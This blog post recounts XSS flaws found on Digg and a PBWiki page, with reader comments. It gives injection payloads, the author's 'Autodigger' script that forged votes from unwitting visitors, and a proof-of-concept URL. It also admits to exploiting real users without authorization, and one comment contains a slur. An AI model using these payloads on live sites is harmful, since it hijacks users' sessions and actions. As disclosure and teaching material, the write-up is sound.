PHOBOSLAB

Blog Home

How I hacked Digg

Two weeks ago I filed a bug report on Digg.com, explaining several XSS vulnerabilities and bugs I found. Some of these were (and some still are!) very critical. A day later, I got an automated response to my report:

We’ve contacted our development team who are investigating the issue, and will fix it as soon as possible.

All well and good I thought, but when a few days ago all vulnerabilities were still there, I decided to exploit one of them.

The XSS Vulnerability

The Links you can add to your profile weren’t escaped properly. Angle brackets (<) were stripped from the URL, but quotation marks were not. This allowed a very simple hack: I could just enter something like this as an URL

http://www.google.com" onmouseover="evilscript();

Resulting in the following HTML on my profil page

<a href="http://www.google.com" onmouseover="evilscript();" rel="me">FooBar</a>

Of course, this is only a tiny link on my profile page. How big is the chance for someone to mouse over it? Well, this was easily fixed with some CSS styles in my URL:

style="z-index:999999; position:absolute; top:0; left:0; font-size:200pt; text-decoration:none;"

Note the text-decoration:none; – this allowed me to enter something like &nbsp; &nbsp; as the link description, resulting in an invisible layer floating above all the content (screenshot with visible characters instead of blanks). My Javascript code was executed as soon as someone visits the page. Perfect!

An Exploit: The Autodigger™

So, what did I do with this evil exploit at hand? Steal user cookies? Narr, too mean. Write a worm? Mhh… sounds like fun, but it wasn’t worth the three months of community service. Writing something that automatically digged a story of mine was far more compelling and also a lot easier!

I just had to get the users diggcheck – a unique token stored in the session on Digg’s servers, to verify that the request comes indeed from within the Digg.com domain. After that, I needed to send an HTTP POST to actually Digg the story. Luckily, Digg relies heavily on Javascript, so I already had an Ajax library at hand.

I got the diggcheck token by loading a “Digg This” button into an iframe and then posted the request through a library function. I also could have just submitted the form in the “Digg This” iframe, but that would have forwarded the user to the actual story – not very secretive. My final code looked something like this (cleaned up for readability – I had to spread this code across three links, because Digg only allowed 255 chars per link):

var AjaxCode = 
'Ajax.Request('
    + '"/diginfull",'
    + '{'
        + 'method:"post",'
        + 'parameters:"id=6830157&row=1&type=s&pagetype=4&digcheck="'
            + '+this.contentWindow.document.forms.f1.digcheck.value,'
        + 'onSuccess:(window.opener?window.close:null)'
    + '}'
+');';

document.body.innerHTML +=
    + '\u003Ciframe height=0 '
    + 'src=\'/tools/diggthis.php?u=http%3A//www.phoboslab.org/log/2008/04/asaph-1-0\''
    + 'onload=\''+AjaxCode+'\'\\u003E\\u003C/iframe\\u003E';

My code was working nicely, so now I only needed some users to visit my profile page. I clicked around and added about everyone as a friend – resulting in lots of hits on my profile page and diggs on my story. Apologies to everyone I annoyed with this!

In the end, my story had about 180 diggs, yet it did not make it to the front page – Digg had fixed the bug! One done, some more to go…

Even more XSS

In the hope that Digg would now listen, I sent them a second email. Only to be answered by an auto responder:

Thanks for getting in touch with us regarding this issue. We’re working hard to correct it and apologize for any inconvenience you’ve experienced.

A third email remained completely unanswered. So, here’s a list of the remaining issues I found. Let’s hope they won’t ignore it again.

Titles of non existing pages are not escaped in the API Wiki

Really stupid behavior – and as it seems, not even Digg’s fault, as this is a commercial Wiki application. This demo will render your current Internet Explorer session unusable: Click at your own Risk! Here’s a screenshot.

Quotes are not escaped on the “Create an Account” page

To see this bug, go the Digg signup form and insert " style="border:80px solid #f0f; as the username.

This only works, when the user is not logged in. Furthermore, the form only accepts POST data – however there’s nothing stopping anyone from sending cross domain post requests.

Quotes are not escaped on the “Search for Friends” page

This is a huge security hole. If I know someones username and send him a link, I can basically exploit it the same way as I did with my Autodigger™. Here’s a simple proof of concept (exchange USERNAME with your actual Digg account name):

http://digg.com/users/USERNAME/friends/add/search?needle=%22+style%3D%22position%3Aabsolute%3Bz-index%3A999999%3Btop%3A0%3Bleft%3A0%3Bwidth%3A1500px%3Bheight%3A1500px%3B%22+onmouseover%3D%22alert%28%27exploited%21%27%29%3B

Again, here’s a screenshot.

Bugs, Bugs, Bugs…

There are even more bugs on Digg. Nothing that I could exploit, but still annoying stuff.

Their overall decision to use PHPs strip_tags over htmlSpecialChars in just about every user input field is a very poor one. Firstly because input like “I really <3 this story” is truncated to “I really” and secondly, because quotation marks and ampersands are not escaped at all. This made many of the vulnerabilities listed here possible in the first place.

Then there are input fields which are presumably filtered through stripSlashes twice. The About Me textfield for instance suffers from this. Text like “Yeah \o/” becomes “Yeah o/”.

Newlines (\n) are not escaped in any search forms I found on Digg. This can trigger Javasrcipt errors and is possibly even exploitable. See here: http://digg.com/search?s=asdf%0Aasdf

I could go on…

Conclusion

Digg is a huge website. I don’t blame them for having a few bugs, as it gets harder and harder to stop exploits when new browser technology comes around on a monthly basis.

However, I do blame them for not listening to bug reports and emails. All this stuff could have been fixed weeks ago. Do they wait for every vulnerability to be exploited before they even consider fixing them, or did my mails simply get lost somewhere? I really don’t know, but I hope they will fix these issues now.

Update:

Both, Digg and PBWiki, have now fixed all critical bugs. I was surprised to see how open they discussed this issue. I expected way more secrecy from them after all my previous mails remained unanswered (albeit unintended, how I learned). I also had a brief email conversation with Digg’s Joe Stump. He explained, that they’re planning to switch all input sanitization to htmlSpecialChars() soon.

Still, my Digg story about all of this was hindered from reaching the front page even after all critical bugs were fixed. This is understandable, but of course very unfortunate for me.

Wednesday, June 4th 2008
— Dominic Szablewski, @phoboslab

34 Comments:

#1Joe Stump – Wednesday, June 4th 2008, 19:47

Hola, Lead Architect from Digg here ... We pushed a fix to the first XSS exploit last week sometime and we're actively looking into your other notes as I type this. You can contact me directly in the future if you find bugs at joe (at) digg (dot) com so your reports don't get lost in the shuffle in the future.

#2cawlin – Wednesday, June 4th 2008, 19:59

Nice article, They are lucky it was you who discovered this and not someone with more sinister goals.

#3Geoff Fox – Wednesday, June 4th 2008, 20:15

To me, this points to an inherent weakness of large sites. The larger they are, the less responsive they are to user feedback and comments. Many sites are structured to totally isolated their users from their staff.

#4David Weekly – Wednesday, June 4th 2008, 21:27

Founder of PBwiki here, we're pushing a fix for the wiki bug you pointed out right now. If you find more, please email me directly at david (at) pbwiki (dot) com

#5Nathan Schmidt – Wednesday, June 4th 2008, 21:34

Hi - CTO of PBwiki here, we are testing and will deploy a fix within the next hour or two. We take xss vulnerabilities seriously and unfortunately this one slipped through. Thanks for the tip!

#6Nathan Schmidt – Wednesday, June 4th 2008, 21:35

Heh, crossed comments (I had this page open for a while, didn't see David's post)

#7Will Hall – Wednesday, June 4th 2008, 21:36

On the link that makes your current IE session unusable if you hold down alt+F4 and let it hit the ok button a few thousand times the page closes (only if it is a single tabbed session though)

#8Dominic – Wednesday, June 4th 2008, 22:04

I must say, I am actually impressed how well these issues are now handled by Digg's and PBwiki's people. Kudos to you, and sorry for the hassle!

If only my story would appear in the list views at Digg again... :)

#9rolloffle – Wednesday, June 4th 2008, 22:35

They deserve everything they got, white hats are faggots and companies that take weeks to fix a security hole (until it gets posted on the Internet, of course!) deserve everything they get.

#10 – Phil – Wednesday, June 4th 2008, 22:36

I see how you were able to make JavaScript calls to evilScript() in onmouseover, but how were you actually able to embed the JavaScript which contained evilScript()?

#11Tim Berners-Lee – Wednesday, June 4th 2008, 22:39

Hey - Tim Berners-Lee here, Creator of the World Wide Web.
Keep up the good work.

#12Dominic – Wednesday, June 4th 2008, 22:57

Mhh... I somehow have the feeling that the last comment was a fake...

@Phil: There actually was no evilScript() function. I just put it there to illustrate my point. My real hack used all the code directly, e.g.:

onmouseover="document.body.innerHTML += document.getElementById('dh').onclick();"

Where getElementById('dh') referred to another link in which I injected the onlclick() method, which returned all the code above. This was done, because I was running out of space with the 255 chars limit. All in all very ugly stuff :)

#13 – pxl – Thursday, June 5th 2008, 00:18

@rolloffle, don't be such an immature tool. If I were your parents, I'd return you to Home Depot.

#14 – toxik – Thursday, June 5th 2008, 00:23

Please. The function names are strip_tags and htmlspecialchars. Lowercase, not roadBumpCase.

#15Dominic – Thursday, June 5th 2008, 00:50

Says who? Function names in PHP are case insensitive. Just because the PHP documentation writes everything in unreadable all-lowercase, doesn't mean I have to.

#16John thomas – Thursday, June 5th 2008, 03:53

Cool, you should have shut their site down. Cant think of anyone who deserves it more. Let em have it!
www.FireMe.to/Udi

#17Russ Jones – Thursday, June 5th 2008, 05:53

You could also take advantage of the Microsoft IE css tag expression(). Essentially, you can tell IE to execute simple javascript inside CSS with this method, thus avoiding the <> tags

#18Robin – Thursday, June 5th 2008, 07:35

... These comments are getting trashed.

I appreciate your article. Security articles are difficult (but not necessarily rare) to come by, especially ones that actually explain how to exploit so that I know how to prevent them.

#19 – torspo – Thursday, June 5th 2008, 12:40

I instinctively clicked 'back' every time after I watched one of the screen shots because I thought I was taken to a new page because the image displaying thing you have doesn't make it obvious that I'm still on the same page, it should do so with some animation or background fading or something.

#20Boston Guy – Thursday, June 5th 2008, 16:08

Just want to understand:

for the first XSS exploit, how can you inject the actual javascript code of function evilscript()?

Thanks.

#21 – Henk – Thursday, June 5th 2008, 16:18

So can anyone explain why newlines in search forms can trigger JS errors?

#22 – Rob W – Thursday, June 5th 2008, 18:54

See, you make a nice public post that gets a little publicity and the Digg folks pick it up right away (1st post, no less). The real problem is that whole "lost in the shuffle" thing. Big websites get a lot of complainers, trolls, and simply clueless people "trying to help" who fill up their contact mailboxes with crap, such that the few actually important emails will very likely be washed away in the tide.

How to handle it? Obviously, if a really competent developer-type is assigned to read through all the email they'd catch them... and well, that's about all they'd do, ever. What competent developer wants a shit job like that?

Maybe there should be some obscure RFP defining a way for developers to contact the actual developers of another site when they need to communicate an important security risk or bug that regular people won't know about....

#23Dominic – Thursday, June 5th 2008, 19:38

@Boston Guy: See my previous comment (#12).

@Henk: The search string, together with the newline, is put directly into a javascript variable inside <script> tags. The HTML page that is returned to the browser, will then look something like this:

<script type="text/javascript">
var searchString = 'malicious
string';
</script>

In SpiderMonkey (Firefox), this will trigger the error: "unterminated string literal". Some Javascript interpreters might even just produce a warning and close the string automatically at a newline. Which would allow code injection like this:

<script type="text/javascript">
var searchString = 'test
alert(document.cookie);
//';
</script>

#24Will – Saturday, June 7th 2008, 23:11

Very nice article; I do love how fast the Digg and PBWiki teams responded. An email response would have been nice, but then I wouldn't get to see this piece of work.

#25Saj – Tuesday, June 10th 2008, 08:29

This is a brilliant article. Thanks a bunch.

#26seojig – Tuesday, June 10th 2008, 08:55

digg is lucky as you were the person to find such bugs and did not used to do miscellaneous activities. Nice article

#27Thejesh GN – Tuesday, June 10th 2008, 11:09

Brilliant stuff. I will take care when I build sites.

#28avanzaweb – Tuesday, June 10th 2008, 13:26

Great article. I think i had to read more about xss.

#29 – R – Sunday, June 15th 2008, 08:14

@Rob W: what could help is a special address for security related bug reports like security@digg.com (like Mozilla has).

#30Omar Abid – Sunday, June 22nd 2008, 11:22

Digg moderators are EYE OPENED (Being the first to discover the post and comment)

#31 – Bill Gates – Monday, June 23rd 2008, 16:17

This is such a nice thing to see...

#32MOin – Monday, September 8th 2008, 11:58

oh very well but i dont think none of them exist now. i was searching for digg exchanges then i wrote digg hack and reached this page having a lot of useful information. and i think 200 diggs required to show up on front page.

#33Tej Kohli – Tuesday, May 4th 2010, 12:53

Nice Post Useful information

#34 – seraj – Saturday, December 22nd 2012, 07:49

How are you

Post a Comment:

Comment: (Required)

(use <code> tags for preformatted text; URLs are recognized automatically)

Name: (Required)

Please type phoboslab into the following input field or enable Javascript. This is an anti-spam measure. Sorry for the inconvenience.